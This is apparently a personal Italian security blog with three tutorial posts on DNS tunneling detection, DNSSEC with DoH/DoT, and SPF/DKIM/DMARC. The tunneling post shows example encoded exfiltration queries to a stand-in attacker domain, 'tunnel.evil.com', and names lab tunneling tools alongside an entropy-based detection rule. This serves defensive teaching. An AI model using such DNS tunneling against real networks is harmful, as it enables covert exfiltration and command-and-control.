DNS Security on My personal blog

DNS tunneling: esfiltrare dati dentro le query, e come accorgersene

Sat, 19 Sep 2026 09:00:00 +0200

Perché conta

Nel capitolo sulla sicurezza DNS abbiamo visto come proteggere l’integrità e la riservatezza delle query. Ma il DNS ha un’altra proprietà sfruttabile: passa quasi sempre. Anche nelle reti dove ogni altra porta è filtrata, la 53 resta aperta perché senza risoluzione dei nomi nulla funziona. Gli attaccanti ne fanno un canale nascosto: codificano dati dentro i nomi di dominio delle query e li fanno uscire sotto forma di traffico DNS apparentemente normale. È uno dei modi più comuni per il comando-e-controllo (C2) e per l’esfiltrazione di dati da una rete altrimenti chiusa.

Come si nascondono i dati in una query

L’idea è semplice: un nome DNS può contenere testo arbitrario nei suoi sottodomini. L’attaccante controlla il name server autoritativo di un dominio, per esempio tunnel.evil.com, e il malware sulla macchina compromessa invia i dati come sottodomini:

1
2

ZGF0YS1ydWJhdG8.tunnel.evil.com      <- dati codificati in base32/64
c2Vzc2lvbi1pZC00Mg.tunnel.evil.com

  flowchart LR
    M["Host compromesso<br/>(malware)"] -->|query:<br/>DATI.tunnel.evil.com| R[Resolver interno]
    R -->|risoluzione ricorsiva| NS["Name server autoritativo<br/>(attaccante)"]
    NS -->|risposta: dati nel record TXT| R
    R --> M
    style NS fill:#fde2e4,stroke:#e63946

La query risale la catena DNS fino al name server dell’attaccante, che decodifica i dati dal nome e risponde — spesso in un record TXT — rimandando indietro comandi. Si crea un canale bidirezionale completo, costruito interamente con DNS legittimo. Nessuna connessione diretta, nessuna porta sospetta: solo query.

I segnali che lo tradiscono

Il tunneling è efficace perché mimetizza, ma lascia tracce statistiche. Il DNS normale ha un profilo preciso; il tunnel lo rompe:

Volume: un host che genera migliaia di query verso lo stesso dominio è anomalo. Il DNS di un utente reale è sporadico e vario.
Lunghezza dei nomi: i sottodomini del tunnel sono lunghi (devono trasportare dati); i nomi reali sono corti.
Entropia: i dati codificati sembrano casuali, mentre i nomi legittimi sono pronunciabili.
Tipo di record: un uso massiccio di TXT o NULL verso un singolo dominio è sospetto.

L’entropia è il segnale più robusto. Per un nome con frequenze dei caratteri $p_i$, l’entropia di Shannon è:

$$ H = -\sum_{i} p_i \log_2 p_i $$

Un sottodominio come www o mail ha entropia bassa; una stringa base64 casuale si avvicina al massimo teorico ($\approx 6$ bit/carattere per base64). Una soglia sull’entropia media dei sottodomini per dominio separa quasi sempre il traffico reale dal tunnel.

Rilevare: dalla statistica alla regola

In pratica si combinano i segnali in logica di detection, idealmente dentro il SIEM che già raccoglie i log DNS:

regola: possibile DNS tunneling
  QUANDO  un host interroga lo stesso dominio di 2° livello
          piu di 100 volte in 10 minuti
          E entropia media dei sottodomini > 3.5 bit/char
          E lunghezza media dei sottodomini > 40 caratteri
  ALLORA  allarme, tecnica ATT&CK T1071.004

Nessun singolo criterio basta — esistono servizi legittimi (antivirus, CDN) che generano molte query. È la combinazione di volume, lunghezza ed entropia verso un unico dominio a distinguere il tunnel.

Difese dirette

Oltre al rilevamento, alcune misure riducono la superficie:

Forzare un resolver interno: bloccare la porta 53 in uscita verso internet e obbligare tutti i client a usare il resolver aziendale (che logga e ispeziona). Senza questo, il tunneling via DoH diventa ancora più difficile da vedere, perché il traffico è cifrato in HTTPS.
RPZ (Response Policy Zone): bloccare la risoluzione verso domini noti per tunneling o appena registrati.
Threat intelligence: liste di domini C2 noti, integrate nel resolver.

Lab

In un ambiente di test isolato (mai verso internet reale):

Avviate uno strumento di tunneling DNS da laboratorio (es. iodine o dnscat2) tra due nodi containerlab, con un dominio di test e un name server controllato.
Catturate il traffico DNS con Wireshark e osservate i sottodomini lunghi e ad alta entropia.
Scrivete uno script che calcoli l’entropia di Shannon dei sottodomini dai log del resolver.
Tarate una soglia che distingua il tunnel dal traffico DNS normale catturato in parallelo.

Domanda: se il DNS tunneling è così lento e rumoroso statisticamente, perché gli attaccanti lo usano ancora?

Per un motivo che batte ogni svantaggio: funziona dove nient'altro funziona. In una rete segmentata e filtrata — pensate a un ambiente industriale o a una DMZ ostile — può darsi che l'unica cosa autorizzata a uscire sia la risoluzione dei nomi, perché bloccarla romperebbe tutto. Lì un canale C2 su HTTP o su una porta custom è semplicemente impossibile, mentre il DNS esce. La lentezza non è un problema per il C2: comandi e piccole quantità di dati rubati (credenziali, chiavi) stanno in pochi kilobyte. È rumoroso solo se qualcuno guarda: in una rete che non ispeziona né correla i log DNS, il tunnel è invisibile proprio perché somiglia a traffico legittimo. È il classico caso in cui il rilevamento conta più della prevenzione: non potete chiudere il DNS, ma potete accorgervi di come viene abusato.

Conclusione

Il DNS tunneling sfrutta l’unica porta che quasi nessuno osa chiudere, trasformando le query in un canale nascosto per C2 ed esfiltrazione. La difesa non può essere bloccare il DNS, ma riconoscerne l’abuso: volume, lunghezza dei nomi ed entropia verso un singolo dominio sono i segnali, e la loro combinazione — meglio se dentro un SIEM che correla — è ciò che distingue il tunnel dal traffico reale. A monte, un resolver interno obbligatorio e le RPZ riducono la superficie. Come spesso nella sicurezza DNS, la chiave è guardare un protocollo che di solito nessuno guarda.

Sicurezza del DNS: DNSSEC e DoH

Tue, 08 Sep 2026 09:00:00 +0200

Perché conta

Nel capitolo su TLS abbiamo visto come proteggere una connessione. Ma prima di aprirla, il client chiede al DNS: “qual è l’IP di banca.it?”. Se un attaccante risponde al posto del DNS legittimo — minaccia T7 del threat model — manda il client su un IP che controlla lui. TLS su quel sito mostrerebbe un errore di certificato, certo, ma il DNS è il primo anello, e troppi attacchi partono da lì.

Il DNS classico ha due difetti indipendenti: non autentica le risposte (chiunque può falsificarle) e non le cifra (chiunque sulla rete le legge). Vanno risolti separatamente.

Il problema 1: autenticità — cache poisoning

Una query DNS esce con un ID di transazione a 16 bit e attende la risposta. Chi risponde per primo con l’ID giusto vince — anche un attaccante, se indovina l’ID prima del server vero. La risposta falsa viene messa in cache dal resolver, e da quel momento tutti quelli che usano quel resolver vengono mandati sull’IP sbagliato. È il cache poisoning.

  sequenceDiagram
    participant C as Client
    participant R as Resolver
    participant A as Attaccante
    participant S as Server DNS vero
    C->>R: banca.it ?
    R->>S: banca.it ? (txid 0x3f9a)
    A-->>R: banca.it = 6.6.6.6 (txid indovinato, arriva prima)
    Note over R: mette in cache la risposta falsa
    S->>R: banca.it = 1.2.3.4 (arriva dopo, scartata)
    R->>C: banca.it = 6.6.6.6

La soluzione: DNSSEC

DNSSEC firma le risposte DNS con la crittografia a chiave pubblica. Ogni zona firma i propri record; la zona superiore firma la chiave di quella inferiore, formando una catena di fiducia che parte dalla radice ., esattamente come la PKI di TLS parte dalle CA radice.

  flowchart TD
    Root[". (root)"] -->|firma la chiave di| IT[".it"]
    IT -->|firma la chiave di| Dom["banca.it"]
    Dom -->|firma i record| A["A = 1.2.3.4 (RRSIG)"]

Il resolver verifica le firme risalendo la catena. Una risposta falsificata non ha una firma valida e viene scartata: il cache poisoning fallisce perché l’attaccante non possiede la chiave privata della zona.

# chiedere i record DNSSEC e verificare la firma
dig banca.it +dnssec
# il flag "ad" (Authenticated Data) nella risposta indica validazione riuscita
dig @1.1.1.1 banca.it | grep -o 'flags:.*;'

Attenzione: DNSSEC autentica ma non cifra. Chiunque sulla rete vede ancora quali domini chiedete. Risolve il problema 1, non il problema 2.

Il problema 2: riservatezza — tutti leggono le query

Una query DNS classica viaggia in UDP, in chiaro, sulla porta 53. Chiunque sia sul percorso — il proprietario della rete Wi-Fi, il provider, un uomo nel mezzo — legge l’elenco dei siti che visitate, anche se poi vi collegate in HTTPS. E può ancora intercettarla e rispondere.

La soluzione: DoT e DoH

Due standard cifrano il trasporto del DNS dentro TLS:

	DoT (DNS over TLS)	DoH (DNS over HTTPS)
Porta	853 (dedicata)	443 (come il traffico web)
Visibilità	si distingue dal resto del traffico	indistinguibile dal normale HTTPS
Blocco	facile da bloccare (porta nota)	difficile: bloccarlo blocca il web
Uso tipico	resolver di rete, policy aziendali	browser, aggiramento della censura

# DoT verso un resolver pubblico
kdig -d @1.1.1.1 +tls banca.it

# DoH: una query DNS dentro una normale richiesta HTTPS
curl -s -H 'accept: application/dns-json' \
  'https://1.1.1.1/dns-query?name=banca.it&type=A'

Le due soluzioni sono complementari

È l’errore più comune: pensare che DoH “renda sicuro” il DNS. DoH cifra la query verso il resolver, ma se quel resolver non valida DNSSEC, può comunque ricevere e inoltrarvi una risposta falsa. E DNSSEC autentica, ma lascia la query visibile. La configurazione robusta usa entrambi: un resolver che valida DNSSEC, raggiunto via DoT/DoH.

Nel lab si costruisce con unbound:

server:
    auto-trust-anchor-file: "/var/lib/unbound/root.key"   # abilita la validazione DNSSEC
    # ... ascolto su localhost ...
forward-zone:
    name: "."
    forward-tls-upstream: yes                              # inoltra agli upstream via DoT
    forward-addr: 1.1.1.1@853

La prima riga evidenziata attiva la validazione DNSSEC (problema 1); la seconda cifra l’inoltro verso l’upstream con DoT (problema 2).

Lab

Nel lab containerlab, con un nodo resolver (unbound) e un nodo client:

Configurate unbound con validazione DNSSEC e upstream in DoT.
Da client, dig un dominio firmato DNSSEC e verificate il flag ad.
dig un dominio con firma deliberatamente rotta (ne esistono di test, es. dnssec-failed.org): il resolver deve rispondere SERVFAIL, non l’IP.
Catturate il traffico tra resolver e upstream: con DoT deve essere illeggibile (TLS sulla 853).

Domanda: perché un dominio con DNSSEC rotto dà SERVFAIL e non l'IP?

Perché la validazione è una scelta binaria: o la firma è valida, o la risposta non è fidata. Un resolver che valida DNSSEC, di fronte a una firma che non torna (scaduta, mancante, manomessa), non ha modo di sapere se è un errore di configurazione o un attacco in corso, quindi tratta la risposta come non attendibile e restituisce SERVFAIL. È un "fallire in sicurezza": meglio nessuna risposta che una risposta potenzialmente falsa. Lo svantaggio è che un errore di firma del gestore del dominio rende il sito irraggiungibile per chi valida — ed è successo a domini importanti.

Conclusione

Il DNS ha due problemi distinti: autenticità e riservatezza. DNSSEC firma (problema 1), DoT/DoH cifrano (problema 2). Confonderli porta a configurazioni che sembrano sicure e non lo sono. La difesa completa li combina: resolver che valida DNSSEC, raggiunto con trasporto cifrato.

Fin qui abbiamo difeso riservatezza, integrità e autenticità. Resta la terza gamba della sicurezza: la disponibilità. Nel prossimo capitolo l’attacco che la prende di mira: il DDoS.

Prossimo nella serie: 08 · Anatomia di un DDoS · Torna alla roadmap

SPF, DKIM e DMARC: autenticare chi invia la posta

Sat, 29 Aug 2026 09:00:00 +0200

Perché conta

Il protocollo SMTP è nato senza alcuna autenticazione del mittente: scrivere From: ceo@azienda.it è facile come scrivere un indirizzo falso sul retro di una busta. È la base del phishing e del business email compromise. Tre record DNS — SPF, DKIM e DMARC — costruiscono, strato su strato, una risposta: questo server può spedire per il dominio?, il messaggio è integro e davvero firmato dal dominio? e infine l’indirizzo che l’utente vede corrisponde?. Poggiano tutti sul DNS, quindi si legano direttamente al capitolo sulla sicurezza DNS.

SPF: quali server possono spedire

SPF è un record TXT nel DNS del dominio che elenca gli indirizzi IP autorizzati a inviare posta per quel dominio. Il server ricevente estrae il dominio dal MAIL FROM (l’envelope, non l’header visibile) e controlla se l’IP che si è connesso è nella lista.

`1`	`azienda.it. IN TXT "v=spf1 ip4:203.0.113.0/24 include:_spf.google.com -all"`

ip4:... e include:... elencano gli emittenti legittimi.
-all (hard fail) dice: qualunque altro IP non è autorizzato, rifiuta.

Il limite di SPF: autentica l’envelope, non l’indirizzo From: che l’utente legge. E si rompe con l’inoltro, perché il server che inoltra non è nella lista del dominio originale.

DKIM: firmare il messaggio

DKIM aggiunge una firma crittografica all’email. Il server mittente firma header e corpo con una chiave privata; la chiave pubblica sta nel DNS. Il ricevente la recupera e verifica la firma.

  flowchart LR
    M["Mittente<br/>(chiave privata)"] -->|firma header+corpo| E[Email + header DKIM-Signature]
    E --> R[Ricevente]
    R -->|recupera chiave pubblica| DNS[(record DNS _domainkey)]
    DNS --> V{Firma valida?}
    V -->|sì| OK[Integro e dal dominio]
    V -->|no| X[Alterato o falso]
    style X fill:#fde2e4,stroke:#e63946

Una firma valida prova due cose: il messaggio non è stato alterato in transito, ed è stato firmato da chi controlla la chiave del dominio. A differenza di SPF, DKIM sopravvive all’inoltro, perché la firma viaggia con il messaggio.

DMARC: allineare e decidere

SPF e DKIM, da soli, autenticano domini che l’utente non vede (l’envelope, il dominio della firma). DMARC aggiunge il pezzo mancante: l’allineamento con il dominio dell’header From:, quello visibile. Un’email passa DMARC se supera SPF o DKIM e il dominio corrispondente è allineato a quello del From:.

`1`	`_dmarc.azienda.it. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@azienda.it; pct=100"`

La p= è la decisione sui messaggi che falliscono:

Policy	Effetto
`p=none`	non fare nulla, solo monitorare (fase di avvio)
`p=quarantine`	metti in spam
`p=reject`	rifiuta del tutto

Il campo rua= chiede ai riceventi di inviare report aggregati: chi sta spedendo a nome vostro, e con quale esito. Sono la bussola per passare da none a reject senza bloccare la posta legittima.

Il percorso di adozione

L’errore classico è partire da p=reject e scoprire di aver bloccato la newsletter aziendale o il gestionale che spedisce fatture. Il percorso corretto:

Pubblicate SPF e DKIM per tutti gli emittenti legittimi (inclusi i servizi terzi).
Pubblicate DMARC con p=none e raccogliete i report rua per settimane.
Dai report, trovate e sistemate gli emittenti legittimi non allineati.
Passate a p=quarantine, poi a p=reject solo quando i report sono puliti.

Lab

Con un dominio di test (o un ambiente mail da laboratorio come Mailu/mailcow):

Pubblicate un record SPF e verificatelo con dig TXT azienda.it.
Generate una coppia di chiavi DKIM, pubblicate la pubblica nel DNS e firmate un messaggio.
Inviate verso un servizio di test (es. un account controllato) e leggete gli header Authentication-Results: devono mostrare spf=pass e dkim=pass.
Aggiungete DMARC p=none con rua e osservate i primi report aggregati.

Domanda: se ho già SPF e DKIM che passano, DMARC cosa aggiunge davvero?

Aggiunge il controllo che manca a entrambi: l'allineamento con l'indirizzo che l'utente vede. SPF autentica il dominio dell'envelope (MAIL FROM), DKIM il dominio della firma: nessuno dei due guarda l'header From: mostrato nel client. Un attaccante può registrare un proprio dominio, configurarci SPF e DKIM perfetti, e poi scrivere nel From: visibile ceo@azienda.it. SPF e DKIM passano — ma sul suo dominio, non su azienda.it. DMARC è ciò che esige che il dominio autenticato coincida con quello visibile, e dà al dominio legittimo il potere di dire "rifiuta tutto ciò che si spaccia per me ma non lo prova". Senza DMARC, SPF e DKIM proteggono un nome che l'utente non legge mai.

Conclusione

Tre record, tre domande in sequenza: SPF chiede se il server è autorizzato, DKIM se il messaggio è integro e firmato dal dominio, DMARC se tutto questo è allineato all’indirizzo che l’utente vede — e cosa fare quando non lo è. Insieme trasformano un From: falsificabile in un’identità verificabile, e sono la difesa di base contro lo spoofing e il phishing. Come per DNSSEC, la forza sta nell’adozione graduale guidata dai dati: p=none, i report, poi reject.